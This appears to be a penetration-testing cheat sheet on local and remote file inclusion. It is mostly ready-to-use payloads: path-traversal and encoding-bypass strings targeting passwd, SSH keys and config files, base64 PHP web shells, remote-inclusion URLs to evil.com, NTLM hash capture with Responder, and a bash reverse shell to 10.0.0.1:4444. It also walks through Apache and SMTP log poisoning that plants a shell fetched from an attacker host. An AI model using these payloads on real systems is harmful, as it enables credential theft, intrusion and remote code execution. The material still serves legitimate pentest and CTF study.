icon

File Inclusion (LFI/RFI)

Last modified: 2024-12-12

Local File Inclusion (LFI) and Remote File Inclusion (RFI) are vulnerabilities that are often found to affect web applications that rely on a scripting run time.

Local File Inclusion (LFI)

?page=../
?page=/etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd
?page=..././..././..././..././etc/passwd
?page=..//..//..//..//..//etc/passwd
?page=....//....//....//....//etc/passwd
?page=....//....//....//....//....//....//etc/passwd
?page=.....///.....///.....///.....///etc/passwd
?page=../../../../../../../../../../../../../../etc/passwd
?page=..\/..\/..\/..\/etc/passwd
?page=/var/www/html/..//..//..//etc/passwd
?page=/etc/passwd&
?page=/etc/passwd%00
?page=example.php%00.txt
?page=/etc/passwd%00.inc
?page=/etc/passwd%00.php
?page=http://localhost/index
?page=http://localhost:3000/index.html
?page=http://localhost:8000/index.html
?page=somedir/../../../../etc/passwd&ext=

# URL encoding
?page=..%2F..%2F..%2F..%2Fetc/passwd
?page=..%5C..%5C..%5C..%5Cetc/passwd
?page=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
?page=http:%5C%5Cindex

# URL double encoding
?page=..%252F..%252F..%252F..%252fetc/passwd
?page=%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd
?page=http:%252F%252Findex

# UTF-8 encoding
?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

# Dot truncation
?page=../../../../etc/passwd..........................................................

# File scheme
?page=file:///etc/passwd
?page=file:%2F%2F%2Fetc%2Fpasswd
?page=file:%252F%252F%252Fetc%252Fpasswd
?page=file%3A///etc/passwd
?page=file%3A%2F%2F%2Fetc%2Fpasswd
?page=file%3A%252F%252F%252Fetc%252Fpasswd
?page=file://var/www/html/index.php
?page=file://var/www/<subdomain>/index.php

# Other local web servr
?page=http://127.0.0.1/
?page=http://127.0.0.1:3000/
?page=http://127.0.0.1:8000/

# PHP Filter
?page=php://filter/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
?page=pHp://filter/convert.base64-encode/resource=index.php
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
?page=data://text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>

# PHP Filter (Base64 encoding)
# `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`: `<?php system($_GET['cmd']); ?>`
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=whoami
# `AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4`: `<?php echo system($_GET['cmd']); ?>`
?page=php://filter/convert.base64-decode/resource=data://plain/text,AgZWNobyAiJF9HRVRbJ2NtZCddIjsgPz4=&cmd=whoami

# PHP Session File
?page=/var/lib/php/sessions/sess_<PHPSESSID>

To automate this process, we can fuzzing as follow.

ffuf -u http://example.com/?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
ffuf -u http://example.com/?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt

Abuse Server Misconfiguration

We can try to test common paths instead of params by abusing server’s alias misconfiguration.

/images/../etc/passwd
/images/../../etc/passwd
/images../etc/passwd
/images../../etc/passwd

Interesting Files

When our payload is successful, we can additionaly investigate local files and retrieve sensitivin information.

# Home directories
?page=/home/<username>/.bashrc
?page=/home/<username>/.bash_history
?page=/home/<username>/.bash_logout
?page=/home/<username>/.bash_profile
?page=/home/<username>/.profile
?page=/home/<username>/.ssh/id_rsa

# Root directory
?page=/root/.bashrc
?page=/root/.bash_history
?page=/root/.bash_logout
?page=/root/.bash_profile
?pgae=/root/.profile
?page=/root/.ssh/id_rsa

# System-wide configurations
?page=/etc/bash.bashrc

# OS
?page=/etc/lsb-release
?page=/etc/os-release

# Processes
?page=/proc/net/tcp
?page=/proc/self/cmdline
?page=/proc/self/environ
?page=/proc/self/fd/0
?page=/proc/self/fd/1
?page=/proc/<pid>/cmdline
?page=/proc/<pid>/environ

# Mail
?page=/var/mail/<username>
?page=/var/spool/mail/<username>
# Postfix
?page=/var/log/mail.log
?page=/var/log/maillog

# Host
?page=/etc/hosts
?page=/etc/hostname
# Cron
?page=/etc/crontab

# Web root
?page=/var/www/html/index.html
?page=/var/www/html/index.php
?page=/var/www/html/.htaccess
?page=/var/www/html/.htpasswd
?page=/var/www/example.com/index.php
?page=/var/www/sudomain/index.php
?page=/var/www/subdomain.example.com/index.php
?page=/var/www/wordpress/index.php

# Apache
?page=/etc/apache2/.htpasswd
?page=/etc/apache2/apache2.conf
?page=/etc/apache2/envvars
?page=/etc/apache2/ports.conf
?page=/etc/apache2/sites-available/domain.conf
?page=/etc/apache2/sites-available/example.com.conf
?page=/etc/apache2/sites-available/sub.example.com.conf
?page=/etc/apache2/sites-available/sub.conf
?page=/etc/apache2/sites-enabled/000-default.conf
?page=/etc/apache2/sites-enabled/domain.conf
?page=/etc/apache2/sites-enabled/example.com.conf
?page=/etc/apache2/sites-enabled/sub.example.com.conf
?page=/etc/apache2/sites-enabled/sub.conf
?page=/var/log/apache/access.log
?page=/var/log/apache/error.log
?page=/var/log/apache2/access.log
?page=/var/log/apache2/error.log

# Apache Tomcat
?page=/opt/tomcat/conf/tomcat-users.xml
?page=/opt/tomcat/logs/catalina.err
?page=/opt/tomcat/logs/catalina.out

# Nginx
?page=/var/log/nginx/access.log
?page=/var/log/nginx/error.log
?page=/etc/nginx/nginx.conf
?page=/etc/nginx/conf.d/.htpasswd
?page=/etc/nginx/conf.d/example.com.conf
?page=/etc/nginx/conf.d/example.conf
?page=/etc/nginx/conf.d/subdomain.example.com.conf
?page=/etc/nginx/conf.d/subdomain.conf
?page=/etc/nginx/sites-available/default
?page=/etc/nginx/sites-available/example.com.conf
?page=/etc/nginx/sites-enabled/default
?page=/etc/nginx/sites-enabled/example.com.conf
?page=/usr/local/nginx/conf/nginx.conf
?page=/usr/local/etc/nginx/nginx.conf

# PHP web conf (x.x is specified PHP version)
?page=/etc/php/x.x/apache2/php.ini
?page=/etc/php/x.x/cli/php.ini
?page=/etc/php/x.x/fpm/php.ini

# Flask
?page=index.html
?page=../__init__.py
?page=../app.py
?page=../db.py
?page=../main.py
?page=/home/<username>/<appname>/app.py
?page=/opt/<appname>/app.py
?page=/srv/<appname>/app.py

# BIND
?page=/etc/bind/named.conf
?page=/etc/bind/named.conf.options
?page=/etc/bind/named.conf.local
?page=/etc/bind/named.conf.default-zones

# Windows
?page=C:/Windows/debug/NetSetup.log 
?page=C:/Windows/System32/drivers/etc/hosts
?page=C:/Windows/System32/inetsrv/config/applicationHost.config
?page=../../../../../../../../windows/system32/drivers/etc/hosts
?page=C:/Users/Public/Desktop/desktop.ini
?page=C:/Users/FUZZ/Desktop/desktop.ini # user enumeration
?page=C:/inetpub/wwwroot/<project>/web.config
?page=C:/xampp/apache/conf/httpd.conf
?page=C:/xampp/apache/conf/extra/httpd-userdir.conf
?page=C:/xampp/apache/conf/extra/httpd-vhosts.conf
?page=C:/xampp/apache/conf/extra/httpd-xampp.conf
?page=C:/xampp/apache/conf/extra/httpd-ajp.conf
?page=C:/xampp/apache/logs/access.log
?page=C:/xampp/apache/logs/error.log
?page=C:/xampp/cgi-bin/example.cgi
?page=C:/xampp/htdocs/example.com/index.php
?page=C:/xampp/htdocs/sub.example.com/index.php
?page=C:/xampp/phpMyAdmin/index.php
?page=C:/xampp/phpMyAdmin/config.inc.php

Using Curl

If we want to test against the URL path not param, curl can be used with the option --path-as-is:

curl --path-as-is http://example.com/../../../../etc/passwd

Read Process Commands

We can retrieve commands that start processes by enumerating /proc/PID/cmdline.
Create a Python script that enumerates them. We can refer to this blog post's "This leaves the server vulnerable to Local File Inclusion." section.

# lfi.py
import requests
import time

for i in range(10):
    print(f"[+] Trying {i}")
    url = "http://example.com/?file=/proc/" + i + "/cmdline"
    resp = requests.get(url)
    print(resp.content)
    time.sleep(1)

Then execute this file.

python3 lfi.py

Remote File Inclusion (RFI)

?page=//evil.com/exploit
?page=%2F%2fevil.com/exploit
?page=%2C%2Cevil.com/exploit
?page=http://evil.com/exploit
?page=http%3A//evil.com/exploit
?page=http%3A%2F%2Fevil%2Ecom/exploit
?page=http%253A%252F%252Fevil%252Ecom/
?page=test@sub.example.com/

Steal NTLM Hashes (Windows)

If the website is hosted on Windows, we may be able to retrieve password hashes using Responder.
In local machine, start responder.

# -I: Interface e.g. eth0, tun0, etc.
sudo responder -I tun0

Then send request to https://example.com/?page=//<local-ip>/test.
Now we may be able to capture the hashes.
If so, we can crack it using JohnTheRipper or Hashcat. Please refer to this page for cracking NTLM.


Remote Code Execution (RCE)

php_filter_chain_generator is CLI that generates payload for PHP filter bypass and allow us to RCE.
Below is the payload for reverse shell.

wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py
python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')?>"

Then copy the output and paste it to the target.


Log Poisoning

1. Check if You Can Access the Apache Log File

# Debian, Ubuntu Linux
/?page=/var/log/apache/access.log
/?page=../../../../var/log/apache/access.log
/?page=/var/log/apache2/access.log
/?page=../../../../var/log/apache2/access.log

# FreeBSD Linux
/?page=/var/log/httpd-access.log
/?page=../../../../var/log/httpd-access.log

# CentOS, Fedora, RedHat Linux
/?page=/var/log/httpd/access_log
/?page=../../../../var/log/httpd/access_log

2. Prepare the Payload for PHP Reverse Shell

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php

# Edit the values in the payload
$ip = '<attacker-ip>';
$port = 4444;

3. Open Web Server in Local Machine

python -m http.server 80

4. Inject PHP Payload in the User-Agent

Send the GET Request with abusing the User-Agent.
The payload can be uploaded to the /shell.php of the target website.

GET / HTTP/1.1
...
User-Agent: <?php file_put_contents('shell.php', file_get_contents('http://<attacker-ip>/shell.php'));  ?>

If we got some error such as "500 Internal Server Error" when the next steps, try to modify the payload a bit. For example,

  • Change single quotes (') to double quotes (").
  • Change double quotes (") to single quotes (').
  • Change <?php to <?pHp. (PHP filter bypass)

5. Apply the Injection

Refresh the page /index.php?page=../../../../var/log/apache2/access.log .

6. Open Listener for Reverse Shell

In you local machine, open the listener.
You need to specify the port which you set the section 2.

nc -lvnp 4444

7. Gain Access to Shell

Access to /shell.php of the target website.
If it goes well, you can get a shell.


SMTP Log Poisoning

Reference: https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/

If the target system opens SMTP and we can see the email logs, we may inject arbitrary code to the email log and lead to RCE.

1. Check Log Files with LFI

Below is the log file location examples:

# Exim
?page=/var/log/exim_mainlog
?page=/var/log/exim/main.log

# Postfix
?page=/var/log/mail.log
?page=/var/log/maillog
?page=/var/adm/maillog
?page=/var/adm/syslog/mail.log

2. Send Email Included RCE via SMTP Server

# 1. Connect to the SMTP server
telnet x.x.x.x 25

# 2. Check existing account
vrfy root
250 2.0.0 root
vrfy admin
250 2.0.0 admin
vrfy administrator
250 2.0.0 administrator
...

# 3. Send email included arbitrary code
MAIL FROM: support@victim.com
RCPT TO: <?php system($_GET['cmd']); ?>

3. Achieve RCE with LFI

Now go back to the vulnerable web page. Send request of LFI such as below:

/?page=/var/log/mail.log&cmd=whoami

If the result of the system command is displayed in the response, we can execute other commands (e.g. for Reverse Shell).